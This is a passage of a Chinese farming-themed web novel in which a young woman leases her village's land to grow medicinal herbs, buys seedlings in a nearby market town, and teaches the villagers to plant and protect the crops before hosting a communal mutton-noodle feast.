说明他对村里人的人性还是了解的很透彻,为了村子好,这样也是应该的。 确实不乏那种有钱就乱花的人。 更有些人没钱的时候老老实实,一有钱吃喝嫖赌样样不落,最后弄得个家破人亡。 跟里正说清楚了这件事后,这几日许芷跟舅舅和王茹娇忙着制药。 听王茹娇说,她说完第二日,里正就把大家召集起来说了租地的事宜。 只是到今日也没个准确的消息。 许芷闻言只说不急,就沉浸在炮制半夏的世界里。 本来王茹娇还挺替许芷着急的,她知道许芷想做的绝对不止他们这点地。 可看着对方毫不在意,镇定自若的样子,跟着也就不急了。 没几日所有的半夏都制好了,蓝实也晾透彻了。 三人租了个牛车去了城里,将这些做好的药材卖了出去。 许芷回家就把大家都叫了过来,算账给钱。 蓝实和半夏一共卖了三千四百两,算出来这个数的时候,王茹娇都惊呆了。 她从来没想过自己有生之年能见到几千两银子,更没有想到制好的药材这么值钱。 说好了,每一样药材卖出的钱要给大家分一成。 三种药材一共卖了四千两,也就是说一家能分四百两。 当许芷说完把四百两推到每个人面前的时候,除了王茹娇已经有了心理准备。 剩下两家王三婶和张立柱兄弟俩下巴都要惊掉了,半天都合不上。 “你说这四百两是我们的?” 王三婶眼睛都直了。 问完许芷还没回答,王三婶嗷一声叫出声来。 众人疑惑的看过去,只见王三叔点点头道:“是真的,你疼的都叫了出来。” 王三婶揉着胳膊生气道:“是不是真的你不掐自己掐我算什么?” 闻言,大家都笑了。 听到大家的笑声,王三婶夫妇两个也噗嗤笑出声。 许芷轻快的吐出一口气:“大家拿着吧,这是应得的,而且是真的。” 拿到钱,几人坐立难安的,许芷看了出来大家是想回去藏钱了。 尤其是王三叔夫妇俩,跟揣了火盆一样。 张家兄弟俩,虽然看着镇定,但是那颤抖不停的腿也出卖了两人。 许芷笑着赶人道:“我今晚可没做各位的饭,该回家就回家吧。” 听了这话,几人瞬间如释重负,跟许芷道了谢,赶紧回了家。 第二日,王茹娇正躲在被窝里数钱呢,听到嫂子叫自己,说张铁牛找。 她赶紧把银子重新装进了自己新买的小匣子,落了锁,放在枕头下面。 钥匙早就串了红绳戴进了脖子里。 她出去前,路过梳妆桌,还对着铜镜,整理了下额前的碎发。 出去之后,只见向来表情平淡的张铁牛勾着唇,眼睛带笑直勾勾的看着王茹娇。 他身下俨然是一匹黑色的骏马。 王茹娇惊喜的摸着马:“铁牛哥,你刚买的马吗?” “嗯,漂亮不?” 话少的张铁牛破天荒的问出了这三个字。 王茹娇被张铁牛晶亮的目光看的有些害羞,别开眼神,嗡声道:“漂亮。” 张铁牛左右看了看,见这会儿没人在外面,他伸出手,温柔道:“要我带你走一走吗?” 第118章 扬眉吐气 闻言,王茹娇羞怯的脸颊通红,想要说出那个好字,可热的她有些张不开嘴。 等不到她答案的张铁牛,又补充道:“山坳里那边人少,而且这会儿估计有落日看。” 王茹娇咬着唇,娇怯的嗯了声。 尽管这声如蚊子哼般小,可张铁牛还是听到了。 他脸上的笑意加深,猛地侧身揽上王茹娇的腰,将她带上马。 这突然的腾空,让王茹娇没忍住惊呼出声。 两人瞬间警惕,害怕徐青云听到。 张铁牛两腿夹了下马肚,赶紧走了。 王茹娇坐在前面,被张铁牛环在怀中,她心跳异常的快。 她想要不是自己闭着嘴,估计心都要跳出来。 两人耳边的心跳声都很大,都以为是自己的,都羞的不敢看对方一眼。 许久,太过于沉默的气氛,让王茹娇变得有些不自在起来。 她尝试着开口:“铁牛哥,什么时候学会骑马了?” “嗯。”张铁牛本想回答,可是一张嘴喉头紧的厉害,导致他就只说了一个字。 他轻咳两声,再度开口。 “这几日,让许芷教的。” 说完,两人再度沉默下来。 无言到山坳的小河边,夕阳映照在河面上,染红了两人的脸。 张铁牛买了马这件事比许芷买马还要引起大家的轰动。 毕竟许芷买马大家知道是卖了药材得来的,虽然不知道卖了多少钱,可买匹马总应该是轻松的。 可是张铁牛就得了个租地的钱,听说在地里帮忙许芷也给了钱,就这都能买起一匹马。 一下挑起了村里人的热情,还没等里正把许芷租地的消息说出去,都一股脑到了里正家,让里正去说他们愿意租地。 里正看着大家急不可耐的样子,清了清嗓子,双手抬起往下压了压,让大家安静听他说话。 “大家想要租地的心情我很了解,这个许丫头倒是前两天找过我,我先给大家说一说租地的方式,大家考虑一下哈。” “不用考虑了,里正,我们租。” 还没等他说,就有人抢先回答。 里正啧一声,“大家莫要激动,都没说清楚租金多少,可别话说的太早。” 果然一说钱的事儿,大家冷静多了。 场面静下来了,里正才继续说道:“许丫头说了,一亩地一年租金一两银,同时药田太多她一个人顾不过来,谁家租的地谁家照看药苗。” 一听这话,大家瞬间不愿意了,本来还指望把地租出去啥都不干,就能赚钱。 谁知道还要自己照看药苗。 人群中瞬间出现了抱怨的声音。 “这许丫头真是好算计,一亩地就给一两银,租出去不算,还要全家老小给她种地,她倒好什么都不用干光挣钱了?” “不租了不租了,还想着挣点钱,结果是被人当猴耍了。” 里正:“......” 看着大家真要转头回去,他赶紧叫住大家。 “谁说不给钱了,你们就不能等我说完?许丫头说了一个人五两呢!” 一听五两银子,本来往外走的众人瞬间定在了原地,马上变了副面孔。 喜笑颜开的进来了,嘴上还抱怨道:“叔,你咋不说嘛,害的我们都误会许丫头了。” 里正瞪了说话的男人一眼,没好气的说道:“你们让我说了吗?还没说完呢,一个个的,真沉不住气。” 被里正骂了,大家也是笑脸相迎的,乐呵呵的追问道:“照看药田,许丫头真一个人给五两银子啊?” 里正嗯了声,还没接着往下说,大家直接高兴的一蹦三尺高。 尤其是那些人口众多的家庭,人多干得快不说,一个人五两银子,这钱简直来的太容易。 那些人口少的,都可惜自己没多生俩。 里正想接着说,可大家只顾着高兴,谁也不听他说话。 他叹了口气,同时也理解大家激动地心情。 下坪村是十里八乡出了名的穷,哪户能吃饱就算是不错的人家。 如今能赚钱,大家的生活好起来了,怎么能不让他这个里正高兴。 但是高兴归高兴,该说的要说完,他清了清嗓子大声让大家安静下来。 “好了好了,还听不听?” “听,里正,您说。” 有钱赚大家声齐心也齐。 “许丫头说了,不是你家有几口人就按几口人给五两银,而是她会按照每家租地的数量,看几个人能忙得过来,然后给几份租契,只有签了租契的才会给银子。” 里正说完,大家沉默了一瞬,但也觉得划算多了。 一家就算是租两亩,出两个人力,那一年也是十二两,从前两三年也见不到这么多钱。 所以大家热情还是很高涨的。 里正看大家没什么意见,又把许芷说的第二种赚钱的法子说了说。 跟他料想的不错,听到第二种大家都不愿意。 让大家拿出点粮食能行,但是让大家拿钱,那可是真没有。 纷纷都说选择第一种就成。 里正也把许芷说的租约只管一年,后续大家想要换赚钱的法子也可给交代清楚了。 同时他直接规定了租地最多不能超过自家地的一半,他实在是怕有的人全都租了出去,又是那挥霍的性子,一年没到头花个精光。 此话一出,本来打算全部租出去的人也歇了心思。 里正把租地的人列了个单子,写清楚了租地多少、一家几口人。 记清楚之后让大家回家等着,他这边尽快给许芷送去单子。 当天这份单子就到了许芷的手里,她拿到单子,对里正感谢道:“谢谢里正帮我,麻烦您了。” “嗐,不麻烦,带着村里一起富的事儿,我高兴还来不及。” 里正摆摆手不在意的说着。 许芷拿了十个家里刚腌好的咸鸭蛋给里正,今年她们家里又添了几只鸭子早就开始下蛋了。 “里正这咸鸭蛋,你拿着。” 里正推脱不过,就收下了。 看着收下后,许芷缓声道:“里正,我还要准备租契,还要麻烦您回去后跟大家说,两日后在您家里我跟大家签租约。” “成。” 里正拿着咸鸭蛋笑眯眯的回了家。 晚上里正吃着刚蒸好的热馍里夹上流油的咸鸭蛋,香的他连吃了两个馍才开口感慨道:“以后下坪村就扬眉吐气了。” 第119章 又去南庄 两日后,许芷拿着厚厚的一沓租契去了里正家。 还没到家门口,就看到了村里人多的都站在了外面。 看到许芷来,各个笑脸相迎。 “许丫头来啦?” “从小我看这许丫头就是个能干事儿的,是个大福星啊,可惜了邓家那两口子把握不住。” “谁说不是呢,那两口子镇不住这福气。” 许芷听到这话笑容讪讪,不知道该说什么,只笑着颔首往里正家里进。 邓耧子也在后面跟着过来,主要是帮着许芷维持下秩序。 里正早就把家里的桌子放在了院子里,方便许芷签租契。 见到她进来,里正让孙子把凳子挪开,让许芷坐下弄。 许芷笑着摇了摇头,道:“里正,有您这个长辈在,怎么能让我这个小辈来呢,麻烦您了,今日还得您来主持局面。” 这谦卑的话语,让里正不自觉扬起了嘴角。 “既然许丫头张了嘴,岂有不帮之理啊?” 他笑着坐在了位置上,许芷递过她写的租契。 里正拿在手里,看了看两份租契,许芷写的很详细,他微微点头开始招呼大家排队签租契。 整整一天的时间,才将所有的租契都签完。 村里几乎所有的人家都把地租给了许芷,只有零星几户,不愿意掺和这些事儿,地也少不值当,就没过来。 就连刘菜根和张四平的家人来租地许芷都没因为之前的事情,不跟他们合作。 刘菜根本来也想硬气一点,可是都没粮食了,还能有这赚钱的机会,傻子才会错过。 一手签租,一手交租钱。 给每个人的工钱一样是到了明年药苗丰收的时候才会给。 不过就算没发这个,每家每户都租出去了八亩左右的地,每一户都拿了八两银。 这可是现银,从前谁手里能捏这么大一笔钱啊。 拿到钱,各个笑的红光满面的回了家。 跟村里人签完,许芷亲自拿着租契又去了王家和张家。 王茹娇和张立柱两兄弟还是签的租地和租人的租契。 但是到了王三婶家,两人磕磕绊绊的,拒绝了许芷递过来的租地的租契。 王三婶说道:“许丫头,那地空出来了四亩,剩下的两亩还按之前的说,但是这四亩我们想试试你说的第二种赚钱的法子,不要别的药苗,就还是上一年种的那个什么半夏就行。” 许芷当然希望他们几家能有人出来试一试,去王茹娇和张立柱家的时候,她也暗示让对方试试。 但是他们两家都没这个想法,自己也不能强求人家试。 没抱希望的王三叔王三婶夫妇倒是主动提及,许芷笑着问道: “三爷爷三奶奶,你们两个怎么想着要试这个的,前期投入可不是小数,我要给你们说清楚。 若是你们选了第二种,我仍旧可以教你们怎么种,但是地里的一切花销都是你们两个人自己承担的,我只是到时候收获的时候买走。” “这我们知道。”王三婶语气轻松地说道。 王三叔也点头道:“你放心吧许丫头,我们呀这把年纪了,本身也花不了多少钱,你给了这么多,我们放着也是放着又不会变多,不如投进去试一试,要是真的赚了钱,那孩子们以后的日子好过些,我们俩以后去了地下也舒坦些。” 听完了他们的话,许芷点了头,只付了那两亩还种着连翘的地的租金,租契也只签了那两亩地的。 签好之后她第二日把乡亲们聚在一起,跟大家讲了一下该怎么耕地,种药苗首先地要收拾好才行。 交代之后,她马不停蹄的跟舅舅邓耧子一起去了南庄寨子定药苗。 这次去许芷还带上了王茹娇。 一方面许芷有意想让王茹娇接触接触这些,为日后做打算。 另一方面自从去年王茹娇听许芷说了南庄寨子夜肆的繁华,她心里可太惦记了,说什么这次都要跟着去。 所以许芷这次还是租了辆马车,没骑自己的马,这样三个人好去。 租了马车还能拉冯其时姐妹俩种的药苗,一举两得。 上路之后,王茹娇一路上兴奋地叽叽喳喳,嘴都停不下来。 缠着许芷让她讲一讲去年她的见闻,许芷耐不住她一遍一遍的让自己讲,索性闭了眼假寐。 只是王茹娇的兴奋感可不是不说话就感受不到的,她见许芷靠着车睡了,就探出头出去跟邓耧子讲话。 一路上看见什么都是新奇的。 终于傍晚时分,三人到了南庄寨子。 到了之后还是去了上次住的那个客栈,要了两间房,许芷和王茹娇一间房就可以。 开了房后,三人回到屋里休整一番,下楼点菜吃饭。 吃饭的时候,王茹娇的眼睛就已经直勾勾的盯着外面。 这脖子要是能伸缩,只怕这会儿头已经在外面了。 终于吃过饭,王茹娇眼睛眨巴这看着许芷。 许芷故意不说话,看不懂她的暗示。 没坚持一会儿,王茹娇就等不及了,“小芷,走啊,我们去夜肆。” 许芷看着她轻笑出声,点点头嗯了声:“行,走吧,再不走你都要急坏了。” 她本身也有今晚去夜肆的打算,她想去看看冯其时姐妹俩出摊没,提前说一声她要买药苗,让她们准备一下。 同时自己还想买些她们制得药膏,去年因为有她们制的药膏,她跟祖母冬天咳一声都少。 王茹娇听到许芷同意了,高兴的差点蹦起来,拉着许芷就要出去。 邓耧子对这个夜肆倒是不感兴趣,但是他可不能让两个姑娘家晚上自己出去,他得跟着一起去保护她俩。 就这样三人出了客栈逛夜肆。 王茹娇第一次来这么热闹的夜肆,看什么都新奇,每一个摊都不错过,拉着许芷穿梭在街上,兴奋地好似一只进了花丛的蝴蝶。 尽管许芷逛过,但没有任何的不耐,反而随着王茹娇的性子,两人热热闹闹的逛着。 很快许芷他们就来到了去年见到冯其时小摊的地方。 因为人多许芷没有第一时间看到她们,还是冯时雨先看到了她。 “许姑娘!” 许芷转头就看到了满眼惊喜的冯时雨朝自己跑来,她兴奋地挽上自己的手臂。 “许姑娘,我就知道你一定会来的。” 说着把她拉到了她们的小摊前,“姐,你看许姑娘来了。” 一旁的王茹娇疑惑的打量着这姐妹俩。 防备的看着她们俩,凑到许芷的耳边小声的问道:“小芷,她们俩是谁啊?” 第120章 肉脯零嘴 许芷把王茹娇拉到身侧,大大方方的介绍道:“这两位是去年卖给我药苗的姐妹,冯其时和冯时雨两位美娘子。” 王茹娇一听赶忙扬起个和善的笑容,介绍自己道:“我叫王茹娇是小芷的好姐妹。” 说完,许芷补充说:“日后若是她来,跟我来买药苗是一样的。” 两姐妹闻言点了点头,看来是许芷要给自己培养买药苗的人,她们俩心知肚明的笑着跟王茹娇打了招呼。 互相认识过,冯其时说道:“今年我们俩还是那么培了那么多药苗,多了我们也忙不过来。” “无妨,明日依旧午时我们去拉药苗。” 许芷还特意叮嘱道:“这次就别彻夜捆药苗了,明日我们去了大家一起忙活就行。” “哎。” 冯其时笑的灿烂,给许芷三个人一人塞了一罐她们熬的药膏。 许芷接过后,说道:“正要问问你们今年熬的药膏多不多,我想多买些回去。” “多的很。”冯时雨抢着回答道。 冯其时也说:“许姑娘放心,要多少我有多少,只是可莫要给我们姐妹钱了,这都是我们应该送的。” 许芷不赞同的说道:“这要是你们送的,送几罐我拿几罐,我要是自己要求要多少罐怎么能不给钱? 万一我要个千了八百的,你们不是亏大了。” “亏什么呀?要不是遇上许姑娘,我们姐妹俩只怕是早就过不下去了。”冯其时说这话时,眼珠又水润了些。 但是很快就调整过来,只说让许芷别花钱,这都是她们自愿的。 许芷没说什么,先应下来,到时候算钱的时候给她们多算些。 说住之后,许芷他们三人继续逛夜肆,逛到了许芷和邓耧子的眼皮都打架了,王茹娇的才收了兴,三人回了客栈。 回了客栈洗过后,许芷心想终于能躺下睡觉了。 可是头一次住客栈的王茹娇兴奋地睡不着,喋喋不休的说着话。 起初许芷还能强撑着嗯嗯啊啊的回话,后面她连自己什么时候睡着的都不知道。 第二日,她睡起来神清气爽的,身边的王茹娇睡的正香。 不知道昨晚她什么时候睡的,所以许芷没有叫醒她。 自己起来洗漱后,给王茹娇打了水先放着。 看到舅舅也起床了,两人去楼下吃过饭,又点了份早饭,许芷拿回了楼上。 刚打开门就看到王茹娇坐起来揉着眼。 “小芷,你什么时候起来的?” 王茹娇掀开被子,开始穿衣服。 许芷把早饭放在了屋里的桌子上,给自己倒了杯茶喝了清口说道:“没比你早多少,旁边给你打了水,去洗一洗吧。” 王茹娇嘿嘿一笑,感慨了句:“小芷,还是你贴心。” 洗过后,等王茹娇吃过早饭,三人去了郭家大批量的定药苗。 这次许芷去已经看不到那兄妹俩,郭员外看到她赶紧迎了上来,笑容中甚至带了一丝谄媚,许芷都觉得是不是自己看错了。 “许姑娘,又来定药苗了?” 许芷每次都有点不适应郭员外的热情,总觉得他一个大老板,对她一个小姑娘这么热情,很奇怪。 她笑的有些僵硬,拿出了怀里早就列好的药苗单子,递过去:“郭员外,这是我这次要定的药苗,您看下。” 郭少安接过单子,粗略一看,倒吸一口冷气。 还以为还是像去年那样的小单子,没想到今年这丫头竟然要买这么多药苗子。 他是个商人,虽然对许芷客气有宋清奕的缘由,可这么大个客户谁能不喜欢。 郭少安脸上的笑容更加的谄媚,他将单子给了管家,亲自带着许芷去后院看苗子。 这次许芷进了后院的药田,看到药田边上的屋子已经都没有了。 她心想,这郭少安果真是个说到做到的人,同时也是个斩草除根的。 一双儿女说送走就送走,这些跟药奴有关的屋子说拆就拆,要不说生意能做得大呢。 许芷看药苗的时候顺道跟舅舅和王茹娇说了说该怎么看药苗的好坏。 等到许芷看过药苗不错,利索的算了账付完钱,说好什么时候送,三人告别了郭家,要去冯其时姐妹俩的家里。 三人赶到的时候,姐妹俩正在后面的地里捆药苗。 听到他们来,两人赶紧跑到前面,姐妹来一个来迎接他们,一个去给他们泡茶,拿了些小零嘴。 王茹娇看到吃的,高兴地坐下捏着就往嘴里送。 她还是头一次吃咸口的零嘴,薄薄一片,吃进嘴里咸香可口,还带着点儿甜味。 “这是啥呀?一股肉香味真好吃。” 冯时雨回道:“这是我做的肉脯,好吃你多吃点。” “肉脯?怎么做的?” 王茹娇看起来很感兴趣。 许芷在一边轻咳一声,轻声道:“娇娇,我们应该先去看看苗子。” 闻言,王茹娇放下了刚拿的那片肉脯,尴尬的冲他们笑了笑,赶紧跟上许芷。 到了药田,许芷下巴努了努,让舅舅和王茹娇现学现用,看看这里面的苗子怎么样,好要说出从何看出,不好也要说出个一二三四。 两人挠挠头,显然是还没做足准备应付这突如其来的考试。 面对许芷鼓励的眼神,邓耧子先硬着头皮说了说。 许芷闻言先肯定了舅舅说对的地方,夸奖一番。 接着又说了舅舅缺少了哪些,或者说错了哪些,并不批评,只是告知的语气。 接下来该王茹娇了,她紧张的捏了捏衣角,笑的有些勉强,半天才措好词开口。 等她说完,许芷也是一样的顺序,先说了好的地方,又补充了王茹娇少说的地方。 考完,几人开始齐心协力捆药苗。 五个人快些,半下午已经捆完了,运上了车。 运完许芷算了钱,她们俩今年中的药苗跟去年没什么差别,数量也不差多少,所以算起来很简单。 算完,许芷说了自己要多少药膏,拿到手后,她特意在算好的钱里多放了些。 她知道冯家姐妹俩信任她,肯定不会数,果然两姐妹拿到直接数都不数,直接收下。 许芷开玩笑的问道:“你们俩也不数数,都不怕我少给了。” 冯其时很是洒脱的说道:“许姑娘就不是这样的人,再说了,少给就少给了,要是没有许姑娘,这药苗根本卖不出去。” 等到许芷的车马走了很久了,两姐妹看着多出来的二两银子,才知道为什么许芷会那么说。 第121章 全村种药 这次走之前,许芷跟冯家姐妹俩定好了明年的药材。 其实许芷有些别的打算,就是不知道姐妹俩愿不愿意,自己这边也没做好准备,不好说的太早。 还是应该等自己都准备好了,再来问冯家姐妹俩的意愿。 回去的时候,应王茹娇的要求,她们多住了一晚,让王茹娇在夜肆上好好地逛了逛,给每一个人都带了礼物才罢休。 冯家姐妹的药苗先进村,因为少所以先紧着王家和张家先种。 因为王三叔夫妇选择了不一样的方式,一次性要种四亩地的半夏药苗。 冯家姐妹的撑死两亩地,所以让他们等大批量的药苗回来了再种。 张家这次不止张立柱兄弟俩,还有里正家。 毕竟是一村之主,应该先种下,种下了学会还能帮助其他的村民种地。 里正看着地头的药苗笑呵呵的,学的格外认真。 虽然还没挨到村里人种,但是大家纷纷自发的来里正地头学一学这药苗咋种。 因为人太多,地都被大家踩瓷实了,垄也被踩平了,反而耽误了这药苗的种植。 没办法里正吆喝着让大家赶紧回家,到时候都会教的。 可是大家赚钱的意识太强烈了,根本不听。 里正头疼的大声说道:“行了行了,我种不成到时候谁教你们?许丫头就一个,指望她分身教你们所有人?” 许芷也跟着说道:“大家不用急,到时候都会教的,王家和张家都已经种了一年,都会的。 但是大家把地踩瓷实了就不能种了,要是没事的话,不如去自己家地里好好翻耕,撒点落叶什么的,给种药苗做好准备。 我提前说好,地里没深耕的不适合药苗种植,到时候谁家地出了差错种不成,药苗能退,租金也能收回,所以还是先顾好自己的地。” 一听许芷的话,地里不收拾好会耽误赚钱,这谁能忍,大家纷纷四散回去自己的地里收拾去了。 里正看着满是脚印的地,深深叹了口气,问道:“许丫头,我这地还能种吗?” 许芷摇了摇头道:“这一亩是不成了。” 不过还好的是大家基本只踩了这一亩地,所以可以种其他的。 本身冯家的药苗数量就不多,种一两亩就成。 “不过可以种其他准备好的地,这一亩麻烦里正回头重新耕一下吧。” 听到还能种,里正松了口气,拿着剩下的药苗去其他耕好的地里种。 里正不仅学了自己家地里种的药苗,王茹娇和张立柱两家的地种的时候,他也去了,多学一学不同种类药苗的种植要求。 到时候全村种植的时候,他也好帮得上忙。 就像他跟村里人说的,许丫头就一个,这么多户人家,总不能把她撕吧撕吧去所有的地里教吧。 种完冯家姐妹的药苗,许芷和舅舅邓耧子开始忙着去收拾今年新分的地。 当时蝗灾来的时候,谁都没空收邓栓子夫妇种的麦子,除了分给老二邓耙子的地,他们夫妻俩收了收,剩下的都进了蝗虫的肚子。 事后,虽然觉得可惜,但也没办法。 那两亩良田,祖母不舍得种别的,还是种上了麦子,剩下那四亩蝗灾过去后,祖母种了红薯、土豆和花生。 如今也丰收过了,但是忙着地还没收拾,现在许芷他们要去收拾了准备好种药苗。 等到地里收拾好了,剩下的所有药苗也送来了。 村里人都风风火火的过来就要卸药苗,许芷先拦住了大家。 “大家先别急,听我说。” 闻言,大家才停下了动作,看向许芷。 “因为药苗种类多,所以我会分好哪一家种什么,一家两种药苗一种一年生的,一种多年生的,大家看我的指挥,到了谁家的地头要卸什么药材,你们再动手。” 许芷这样安排是有深意的,万一有的家全是一年生的,一家全是多年生的。 一年生的跟多年生的一年内需要付出的精力当然是不一样的,但是大家的工钱是一样的,现在不说什么。 真干起来大家发现一样的钱干的事儿不一样,时间长了肯定要闹矛盾。 而且许芷尽量分给每家都有根茎类的药苗,这样确保每一家每一年都要忙着种,让大家的干的活儿尽量一样。 就这样在许芷的安排下,将所有的药苗都卸好了。 卸好后,许芷和王家、张家两家没忙着种自己的,先分散下去教大家该怎么种。 一个人管着相邻几户的地,先统一的说一下该怎么种,再上手示范一下,接着看每一户自己种的行不行,然后就能放手让大家自己种。 只是说是放手,还是会转转看着大家种的有没有失误。 王三婶和王三叔夫妻俩,忙完自己地里的,也来帮忙。 整个村子头一次团结异常,风风火火的种药田。 里正看着大家忙碌认真的样子,脸上的笑容很是欣慰。 经过半个月,热火朝天的种药苗终于结束了。 看着地里满满当当的药苗,大家都很是有盼头。 种完了许芷开始跟大家说一说后续要做的事情。 “种完了药苗还不算完,在彻底冷下来前,我们还需要做保暖和杀虫准备。 保暖的话,相信去年大家伙也看到了我们在地里用枯树枝和干草做的防护,今年就不这样了,耗时耗力,没有直接盖油布效果好。” 许芷话音未落,就有人提出了质疑。 “许丫头,这么多地得多少油布啊,我们可没那么多钱。” 此话一出其他人也纷纷附和,油布多贵啊,那枯枝和干草虽然费事儿,可山上到处都是,这可不花钱。 许芷知道大家在担心什么,她抬手示意大家安静下来,等到没人说话了,她开口道: “这钱当然是我出,既然这地是我租的,所有的开销都是我负责,大家只要做好该做的事情就行,跟着我种好这些药材。” 一听是许芷花钱,大家变脸似得,瞬间高兴多了。 “我就知道许丫头不会坑我们。” 许芷看着大家这不算沉稳的性子,微微叹了口气。 “杀虫用的东西我也会准备好,大家到时候一定要齐心协力做好。” “放心吧,许丫头!” 众人齐声道。 里正对这一幕很是满意,在一边捋着胡子笑的直点头。 第122章 去买油布 因为油布一盖就不好掀开再做杀虫的准备,所以许芷打算进了十月先做完杀虫的准备再买了油布盖上保暖。 人一闲下来,总觉得日子过的快。 随着门前柿子树上最后一片落叶落地,已经进入了十月份。 许芷一大早就去了高羊村买石灰,这次需要的太多了,就没自己借个板车去拉。 而是许芷自己骑着马去跟人谈好了,人家改天送过来。 因为王三婶夫妇俩单干,按说是石灰应该是他们自己买。 但是就四亩地,不值当单独跑一趟,就拜托许芷一起买了。 石灰送到这日,王三婶拿了钱私下里递给许芷。 许芷觉得就四亩地用不了多少石灰,就摆摆手不收。 看她不收一向和蔼的王三婶皱眉不愿意,“许姑娘,一码归一码,这钱你得拿着。” 许芷不在意道:“三奶奶,咱们的关系还犯得着收你这钱干啥啊。” “你这孩子。”王三婶把钱往桌子上一拍:“那可不行,你要是不收我的,让别人知道了,以后他们也不给你钱咋整?” “你不说我不说,没人知道。”许芷还是浑不在意。 一听这话,王三婶生气了。 “你这孩子,你的钱是大风刮来的?这钱你必须收下,要不然我现在就去地里把苗子全薅了也不占你这便宜。” 许芷一听这话,才把王三婶的话当了真,赶紧收下了钱,赔着笑脸说道: “实在是对不住,三奶奶,是我感情用事了,钱我收下。” 说着把钱放进了自己的钱袋子,王三婶的脸色才好了很多。 都是良善之人,不舍得让对方吃一点亏,还都想多为对方付出一点。 许芷觉得很值,跟这样的好的人合作。 收了钱,让村里人来家里把石灰都搬走,搬走前说清楚了该怎么洒,就都出发去了地里。 忙过这一阵,许芷又马不停蹄的去城里卖油布。 这次王三婶怕许芷又不要钱,她直接找上许芷要一起去了城里自己买。 许芷闻言笑道:“三婶,你难道忘了地里的油布我早就买过了,咱们收起来在仓房里放着呢。” 王三婶愣住了,光想着需要,忘了这茬事儿了。 但是紧接着她又一想,无所谓的说道:“那你就用到别的地里,你们家今年不是也多出来四亩地呢。 我们的地应该自己管,重新买油布就行。” 许芷暗暗苦笑叹了口气,三奶奶实在是算的太清楚了,生怕她吃亏。 也知道不能多说什么,要不然还跟上次一样生气伤彼此情分。 看到许芷没多说什么要带她去卖油布,王三婶高兴道:“这就对了,做生意就是要算清楚,平日里往来可以你来我往的,不必太清楚。” 许芷嗯了声点了点头,觉得王三婶说的有理,自己一个小丫头,还是考虑的太少。 两人到了城里最大的布行去买油布,只是她们要的量太大了,铺子里没有那么多现货。 掌柜的让许芷等上个把月,到时候亲自给货物送到。 而王三婶到了铺子,对油布的贵才有了实感。 从前只知道贵,但也没买过,并不清楚。 现在想想之前被烧的那些油布,真觉得心疼,忍不住嘴上又骂了几句张四平和许富年。 许芷听到纳闷问道:“都过去这么久了,三奶奶还气呢?” “怎么不气,我要是知道这油布这么贵,我从今年清明骂到明年清明。” 王三婶甚是义愤填膺,气冲冲的样子看的许芷想笑。 她安抚道:“好了三奶奶,不值当,这边有家羊汤面很是不错,我请你吃。” 羊汤面的安抚能力不错,王三婶一听瞬间没什么气了。 赚了这么多钱,她倒是还没来城里吃过东西呢。 今日出来,是该吃点好吃的。 “成,不过我请你。” 王三婶说完看到许芷还想说什么,她眉一皱说道:“你这丫头,这一年请了我多少顿肉,就一碗羊汤面还要跟我抢? 你要是不让我请,我现在就回去,再也不吃。” 许芷真是怕了,哭笑不得说道:“好好好,我知道了。” 两人去了羊汤馆子,一人要了一碗羊汤面,汤里面是有少量的羊肉的,可以选羊杂还是羊肉。 许芷要了羊肉,王三婶要了羊杂。 奶白的汤底配上刚拉的宽面,撒上绿油油的葱花和芫荽,看着就让人胃口大开。 王三婶见到桌子上有羊油做的辣油和醋,挖了一大勺辣油,又放了多多的醋。 瞬间红绿白三色构成一幅香气逼人的画面。 王三婶秃噜秃噜的吃的香。 许芷虽然也喜欢辣一些的,但是每次她都是点一点儿辣油,主要吃羊肉的香气。 吃过,王三婶意犹未尽的说道:“可惜了,老头子没来尝尝。” 许芷笑道:“那咱们去市场看看,买点羊肉不就行了。” “能行吗?” 王三婶有些没底气,这次来主要是许芷骑着马带她来的。 所以她总是觉得怕耽误了许芷的时间。 “来都来了,三奶奶想买什么,想逛什么,随意。” 许芷笑的温和。 听到许芷这么说,王三婶才放心大胆的去买了东西。 还特地买了羊棒骨和羊肉,也要回去做羊汤面。 到家后,邀请了许芷一家、王茹娇和张家兄弟俩,一起去家里吃羊汤面。 这一年多,大家就跟一家人一样,所以买了羊肉,也想让他们都尝尝。 过了半个月,十一月初布行的油布到了。 她们这很少种竹子,几乎没有,本来许芷说撑油布的竹条要跟油布一起在城里买。 大家一听那得多少钱啊,虽然这不是他们花钱,但是也不想让许芷多花,万一花完了付不起他们工钱怎么办? 就有人问许芷是不是一定要做成半圆形的,能不能地两边插上低矮粗壮的枯枝。 油布搭上去,搭成长长的矩形。 许芷一听摇了摇头,说不行。 要是一场雪下的,油布面那么平,雪都堆上去,不就直接压到了药苗上,不说保暖了药苗直接压死了。 但是许芷想了想,大家省钱的想法是不错的。 不如在地中间插一行高一点的枯枝,油布带一点弧度,这样就不怕积雪了。 这样想着许芷又肯定了大家的想法,把她改良过的想法说了出来。 第123章 羊肉汤面 大家听到帮到了许芷,心里也很高兴。 许芷让大家在油布没到之前,去了山上捡枯枝,提前在地里都插好。 等到油布来了,大家也不管是谁家的地,一起忙活,不过七八日就全部铺好了油布。 因为这次大家齐心协力,没有一个人偷懒耍滑,又为了鼓舞大家来年继续努力。 许芷去买了三十斤羊肉和十斤羊棒骨,邀请大家一起吃羊汤面。 村里人一听欢呼声震天响。 村里已经很久没有这种集体的热闹场景了,毕竟这几年村里连个喜事都没,上一个还是许芷那没成的。 为了方便,大家直接在村里的老槐树下支起了口大锅煮肉和棒骨。 许芷出了肉,大家也自发的拿出了家里的面。 男人搬桌子和凳子,女人一起说说笑笑的和面擀面条。 有些家里白面少的,贡献了腊八蒜和咸菜,这都是配面吃的。 有些家里弄了些零嘴,花生瓜子栗子什么的,一人抓一点吃着聊着。 碗筷都是用自己家的,早早就拿好在手里,就等着吃了。 羊肉炖煮了一个时辰,香气满村飘。 小孩都叽叽喳喳的围在锅炉旁问什么时候能吃饭,做饭的孟雨兰看到小孩天真可怜的模样,脸上的笑容不自觉带上了母爱光辉。 “再等等,肉总要炖烂糊了。” 听到还不能吃,孩子们的脸上不免露出了失望之色。 但不知道其中是谁提议玩捉迷藏,瞬间这群小孩儿就忘了刚刚不能吃的失望,四散开去。 落日西沉,羊肉早已炖的软烂。 另支起一口大锅,开始煮面。 桌子上摆满了切好了的面,此时已经风干的有些硬。 见到开始煮面,本来三五成群或蹲或坐聊天胡侃的人,瞬间都站了起来,走到了煮面的大锅前。 一人碗里先放了多半碗的面,走到孟雨兰面前咕嘟着的奶白色的肉汤浇上一勺。 王茹娇手边切好的羊肉撒上几片,许芷再给大家点缀点绿色的葱叶,一碗色香味俱全的羊肉汤面就好了。 